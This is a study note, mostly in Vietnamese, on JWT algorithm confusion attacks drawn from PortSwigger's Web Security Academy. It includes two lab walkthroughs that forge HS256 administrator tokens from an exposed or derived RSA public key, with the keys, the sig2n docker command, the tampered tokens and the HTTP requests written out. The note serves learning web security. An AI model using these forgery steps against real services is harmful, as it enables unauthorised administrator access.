Quote

Tấn công nhầm lẫn thuật toán (còn được gọi là tấn công nhầm lẫn khóa) xảy ra khi kẻ tấn công có thể buộc máy chủ xác minh chữ ký của một JSON web token (JWT) bằng một thuật toán khác với dự định của các nhà phát triển trang web.

How Do Algorithm Confusion Vulnerabilities Arise?

Nhiều thư viện cung cấp một phương thức duy nhất, không phụ thuộc vào thuật toán để xác minh chữ ký dựa trên tham số alg trong header của token:

function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();
    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
}

Vấn đề phát sinh khi các nhà phát triển trang web sử dụng phương thức này giả định rằng nó sẽ chỉ xử lý các JWT được ký bằng thuật toán bất đối xứng như RS256. Do giả định thiếu sót này, họ có thể luôn truyền một khóa công khai cố định cho phương thức như sau:

publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);

Trong trường hợp này, nếu máy chủ nhận được một token được ký bằng thuật toán đối xứng như HS256, phương thức verify() chung của thư viện sẽ coi khóa công khai như một khóa bí mật HMAC. Kẻ tấn công có thể ký token bằng HS256 và khóa công khai, và máy chủ sẽ sử dụng cùng một khóa công khai để xác minh chữ ký.

Performing an Algorithm Confusion Attack

Một cuộc tấn công nhầm lẫn thuật toán thường bao gồm các bước cấp cao sau:

  1. Lấy khóa công khai của máy chủ: các máy chủ đôi khi để lộ JWK thông qua một endpoint tiêu chuẩn được ánh xạ tới /jwks.json hoặc /.well-known/jwks.json.
  2. Chuyển đổi khóa công khai sang một định dạng phù hợp: ngoài việc ở cùng một định dạng, mỗi byte phải khớp, bao gồm cả bất kỳ ký tự không in nào.
  3. Tạo một JWT độc hại với một payload đã được sửa đổi và header alg được đặt thành HS256.
  4. Ký token bằng HS256, sử dụng khóa công khai làm khóa bí mật.

Để chuyển đổi khóa công khai sang một định dạng phù hợp bằng tiện ích mở rộng JWT Editor:

  1. Với tiện ích mở rộng đã được tải, trong thanh tab chính của Burp, đi đến tab JWT Editor Keys.
  2. Nhấp vào New RSA Key. Trong hộp thoại, dán JWK mà chúng ta đã lấy trước đó.
  3. Chọn nút radio PEM và sao chép khóa PEM kết quả.
  4. Đi đến tab Decoder và mã hóa Base64 cho PEM.
  5. Quay lại tab JWT Editor Keys và nhấp vào New Symmetric Key.
  6. Trong hộp thoại, nhấp vào Generate để tạo một khóa mới ở định dạng JWK.
  7. Thay thế giá trị được tạo cho tham số k bằng một khóa PEM đã được mã hóa Base64 mà chúng ta vừa sao chép.
  8. Lưu khóa.

Lab: JWT Authentication Bypass via Algorithm Confusion

Có một khóa công khai nằm ở endpoint /jwks.json:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "45bf4efc-fd8b-4e80-9371-ffb6e993b22c",
      "alg": "RS256",
      "n": "oGS2cxDYy9SX1wEp_2v1gbsm0qVy2yZ6SLK9-YG5cTMW-SD1rfCdCzcLOO7vCJc69ICJH_LB8WsHNqYBiday_XnZCOya7SC-0ZGaOE3mN-OFxahhlB-VDPH30w1CWHC_4z2TQlwDGj-z8PfC4X-FyAgOovBBjkwZkay8jloAFKkPZeFstwiJl14lyWQFweFcpoUWzKuPrx8aO5udmwgn1iqqyeEVN0ohJLI__L2cW0tMpsC5qUYWRJtJIzfDZtAadIg60VZZexZe6JTzuA90fG0j9_g3tv9VndVomZdmg9i34arm2lYhu374Z0HeV0l4awTUBobPKuMbGjCCeBWNQQ"
    }
  ]
}

Khóa công khai ở định dạng PEM:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoGS2cxDYy9SX1wEp/2v1
gbsm0qVy2yZ6SLK9+YG5cTMW+SD1rfCdCzcLOO7vCJc69ICJH/LB8WsHNqYBiday
/XnZCOya7SC+0ZGaOE3mN+OFxahhlB+VDPH30w1CWHC/4z2TQlwDGj+z8PfC4X+F
yAgOovBBjkwZkay8jloAFKkPZeFstwiJl14lyWQFweFcpoUWzKuPrx8aO5udmwgn
1iqqyeEVN0ohJLI//L2cW0tMpsC5qUYWRJtJIzfDZtAadIg60VZZexZe6JTzuA90
fG0j9/g3tv9VndVomZdmg9i34arm2lYhu374Z0HeV0l4awTUBobPKuMbGjCCeBWN
QQIDAQAB
-----END PUBLIC KEY-----

Làm theo các bước trên để biến khóa công khai thành một khóa đối xứng:

{
    "kty": "oct",
    "kid": "b5958b22-a52c-4244-90e2-2fac9419276b",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFvR1MyY3hEWXk5U1gxd0VwLzJ2MQpnYnNtMHFWeTJ5WjZTTEs5K1lHNWNUTVcrU0QxcmZDZEN6Y0xPTzd2Q0pjNjlJQ0pIL0xCOFdzSE5xWUJpZGF5Ci9YblpDT3lhN1NDKzBaR2FPRTNtTitPRnhhaGhsQitWRFBIMzB3MUNXSEMvNHoyVFFsd0RHait6OFBmQzRYK0YKeUFnT292QkJqa3daa2F5OGpsb0FGS2tQWmVGc3R3aUpsMTRseVdRRndlRmNwb1VXekt1UHJ4OGFPNXVkbXdnbgoxaXFxeWVFVk4wb2hKTEkvL0wyY1cwdE1wc0M1cVVZV1JKdEpJemZEWnRBYWRJZzYwVlpaZXhaZTZKVHp1QTkwCmZHMGo5L2czdHY5Vm5kVm9tWmRtZzlpMzRhcm0ybFlodTM3NFowSGVWMGw0YXdUVUJvYlBLdU1iR2pDQ2VCV04KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Thay đổi header và payload thành:

{
    "kid": "45bf4efc-fd8b-4e80-9371-ffb6e993b22c",
    "alg": "HS256"
}
{
    "iss": "portswigger",
    "exp": 1724684812,
    "sub": "administrator"
}

Ký nó bằng khóa đối xứng đã tạo và gửi request.

Deriving Public Keys From Existing Tokens

Chúng ta vẫn có thể kiểm tra sự nhầm lẫn thuật toán bằng cách lấy khóa từ một cặp JWT hiện có. Quá trình này tương đối đơn giản khi sử dụng các công cụ như jwt_forgery.py. Chúng ta có thể tìm thấy công cụ này, cùng với một số kịch bản hữu ích khác, trên silentsignal/rsa_sign2n.

Chúng tôi cũng đã tạo một phiên bản đơn giản hóa của công cụ này, mà chúng ta có thể chạy dưới dạng một lệnh duy nhất:

docker run --rm -it portswigger/sig2n <token1> <token2>

Điều này sử dụng các JWT mà chúng ta cung cấp để tính toán một hoặc nhiều giá trị tiềm năng của n. Đối với mỗi giá trị tiềm năng, kịch bản của chúng tôi xuất ra:

  • Một khóa PEM được mã hóa Base64 ở cả định dạng X.509 và PKCS1.
  • Một JWT giả mạo được ký bằng mỗi khóa này.

Lab: JWT Authentication Bypass via Algorithm Confusion with No Exposed Key

Chụp 2 JWT:

Info

JWT 1 eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjAwNiwic3ViIjoid2llbmVyIn0.N2CKaJN75qF3yLq8CwMwUkYbpiGBlAx-AoYOplNJu_z5Nm2Tb0ex7r8t7FRRyuzVZapaEajx3_gxF-Fq836Yw7-0eGm1nx0nv7MB8gWOVuSLxgCSe-1In4J9kU69cs9unDEcyyvxKumVSUNofmAiMOI4aKob7iFZ-At5a9NxqWvlHXYn9DYUzdOsZzGNENrVDXFHR2nbkK2ELZ1XQfyVotebWRRkLNoQdDhEtoTpOBN8uJ34oxRQq1Xpq-tPHQlb8YdI8EGkSWGgN5uq8I3ec_0sqviX44n1DYXSdK76h-sDlklZpmnJLjsbQy3TzYliIdK8DweiJFysKRHqeT_Spw

Info

JWT 2 eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjA1MCwic3ViIjoid2llbmVyIn0.jVQiyehvwbtIAaUq8gBMXCJg_fxqVEdP9VoDuwcWnTOmE1M47Skmm685abokdwystSjgH9KPNf270P4imUDhNxPX7L2dAvEr5ngAgUE1qgjJitCHNDy8nPzvzZ8rH7uYaEVRhNafjXynZMokMOJVRFX2bsM6uwsTcunIW9kfVDqDzSW8uTZhiYg5IVNm_1BE9VveF_p56F58LwB138AlFZmT-p4ApdPH-tnEzyu2FR3GkHzxAkZBfQeSWZxx74dDpunkuEsmrTBUhPUq9Go5a5JHHTZ3zzRGUnvGkx8fwRLEP5YByUf9dX8gqmWqCWUWNmsEv3CEOFxBhnUQVS-Jcw

Sử dụng lệnh docker:

seed@VM:~$ docker run --rm -it portswigger/sig2n eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjAwNiwic3ViIjoid2llbmVyIn0.N2CKaJN75qF3yLq8CwMwUkYbpiGBlAx-AoYOplNJu_z5Nm2Tb0ex7r8t7FRRyuzVZapaEajx3_gxF-Fq836Yw7-0eGm1nx0nv7MB8gWOVuSLxgCSe-1In4J9kU69cs9unDEcyyvxKumVSUNofmAiMOI4aKob7iFZ-At5a9NxqWvlHXYn9DYUzdOsZzGNENrVDXFHR2nbkK2ELZ1XQfyVotebWRRkLNoQdDhEtoTpOBN8uJ34oxRQq1Xpq-tPHQlb8YdI8EGkSWGgN5uq8I3ec_0sqviX44n1DYXSdK76h-sDlklZpmnJLjsbQy3TzYliIdK8DweiJFysKRHqeT_Spw eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjA1MCwic3ViIjoid2llbmVyIn0.jVQiyehvwbtIAaUq8gBMXCJg_fxqVEdP9VoDuwcWnTOmE1M47Skmm685abokdwystSjgH9KPNf270P4imUDhNxPX7L2dAvEr5ngAgUE1qgjJitCHNDy8nPzvzZ8rH7uYaEVRhNafjXynZMokMOJVRFX2bsM6uwsTcunIW9kfVDqDzSW8uTZhiYg5IVNm_1BE9VveF_p56F58LwB138AlFZmT-p4ApdPH-tnEzyu2FR3GkHzxAkZBfQeSWZxx74dDpunkuEsmrTBUhPUq9Go5a5JHHTZ3zzRGUnvGkx8fwRLEP5YByUf9dX8gqmWqCWUWNmsEv3CEOFxBhnUQVS-Jcw
Running command: python3 jwt_forgery.py <token1> <token2>
 
Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFvR1MyY3hEWXk5U1gxd0VwLzJ2MQpnYnNtMHFWeTJ5WjZTTEs5K1lHNWNUTVcrU0QxcmZDZEN6Y0xPTzd2Q0pjNjlJQ0pIL0xCOFdzSE5xWUJpZGF5Ci9YblpDT3lhN1NDKzBaR2FPRTNtTitPRnhhaGhsQitWRFBIMzB3MUNXSEMvNHoyVFFsd0RHait6OFBmQzRYK0YKeUFnT292QkJqa3daa2F5OGpsb0FGS2tQWmVGc3R3aUpsMTRseVdRRndlRmNwb1VXekt1UHJ4OGFPNXVkbXdnbgoxaXFxeWVFVk4wb2hKTEkvL0wyY1cwdE1wc0M1cVVZV1JKdEpJemZEWnRBYWRJZzYwVlpaZXhaZTZKVHp1QTkwCmZHMGo5L2czdHY5Vm5kVm9tWmRtZzlpMzRhcm0ybFlodTM3NFowSGVWMGw0YXdUVUJvYlBLdU1iR2pDQ2VCV04KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.Ej7tklkD_HntGRrYnNc71GEH-9exM3MXnHwFCG8hCpY
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW5FL0cvMzh4em9kY3dpQ3MrWmhDUjg1dEJnaS8xUDFzSkdNa0E1NnJ4WUtHZ1d5TjRTZmsKWXNMNmdNOHRjZEFoeWM3aE9Mb3lxZW9ZQk9VN1VMTFFWS1k2dW5RRHloRS9RcisxQmpJZThBSmNmbDlVVGk4MgpHNk8yR0dIRE5kVXR3RlNRN3JUWkJNVThLT3pqS1F2b2FONlQ2clU0M1lVbUFQY1JKcUw3ZlcySUVjVmovVDV1Ck1jNDh1TFZZUG8zaGNCQkFBdHp6UmE2NWVkeDgyR0JwcUFRZ0N3aThKblBsUHBrRGxXOEVNa0x4SmdmMy90K1gKUkFMZmhyVVI4cVhIbFBteHBEVG1NazhlTlRaNmtnSzR1VmowMzd1a0thWkUzN0s4Mnp5MTVzRCsyaHBMTUNMdgpVWVpDcHdHNmhvL2VwbkhEVW9sUWxndTAwMHlJbHlMV01RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.1ixc3w-gRsczNd-R6mxvMrIkC9A1BpSCFjpXYzWryhw

Sử dụng Tampered JWT đầu tiên để gửi một request:

GET /my-account?id=wiener HTTP/2
Host: 0a1400e203e3d43381580c3d00730099.web-security-academy.net
Cookie: session=eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.Ej7tklkD_HntGRrYnNc71GEH-9exM3MXnHwFCG8hCpY
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Referer: https://0a1400e203e3d43381580c3d00730099.web-security-academy.net/login

Phản hồi cho thấy JWT chúng ta sử dụng là chính xác:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3424

Sử dụng khóa khớp để tạo một khóa đối xứng:

{
    "kty": "oct",
    "kid": "56bad02a-08a8-42e3-8b82-689607017abf",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFuRS9HLzM4eHpvZGN3aUNzK1poQwpSODV0QmdpLzFQMXNKR01rQTU2cnhZS0dnV3lONFNma1lzTDZnTTh0Y2RBaHljN2hPTG95cWVvWUJPVTdVTExRClZLWTZ1blFEeWhFL1FyKzFCakllOEFKY2ZsOVVUaTgyRzZPMkdHSEROZFV0d0ZTUTdyVFpCTVU4S096aktRdm8KYU42VDZyVTQzWVVtQVBjUkpxTDdmVzJJRWNWai9UNXVNYzQ4dUxWWVBvM2hjQkJBQXR6elJhNjVlZHg4MkdCcApxQVFnQ3dpOEpuUGxQcGtEbFc4RU1rTHhKZ2YzL3QrWFJBTGZoclVSOHFYSGxQbXhwRFRtTWs4ZU5UWjZrZ0s0CnVWajAzN3VrS2FaRTM3SzgyenkxNXNEKzJocExNQ0x2VVlaQ3B3RzZoby9lcG5IRFVvbFFsZ3UwMDB5SWx5TFcKTVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Sửa đổi header và payload:

{
    "kid": "3993ea54-8f97-4650-8965-fe505edfc1ee",
    "alg": "HS256"
}
{
    "iss": "portswigger",
    "exp": 1724686050,
    "sub": "administrator"
}

Ký nó bằng khóa đối xứng và gửi đến endpoint /admin. Sau đó, chúng ta sẽ có thể truy cập vào bảng điều khiển quản trị.

list
from outgoing([[Port Swigger - JWT Algorithm Confusion Attacks]])
sort file.ctime asc

Resources

Algorithm confusion attacks | Web Security Academy (portswigger.net)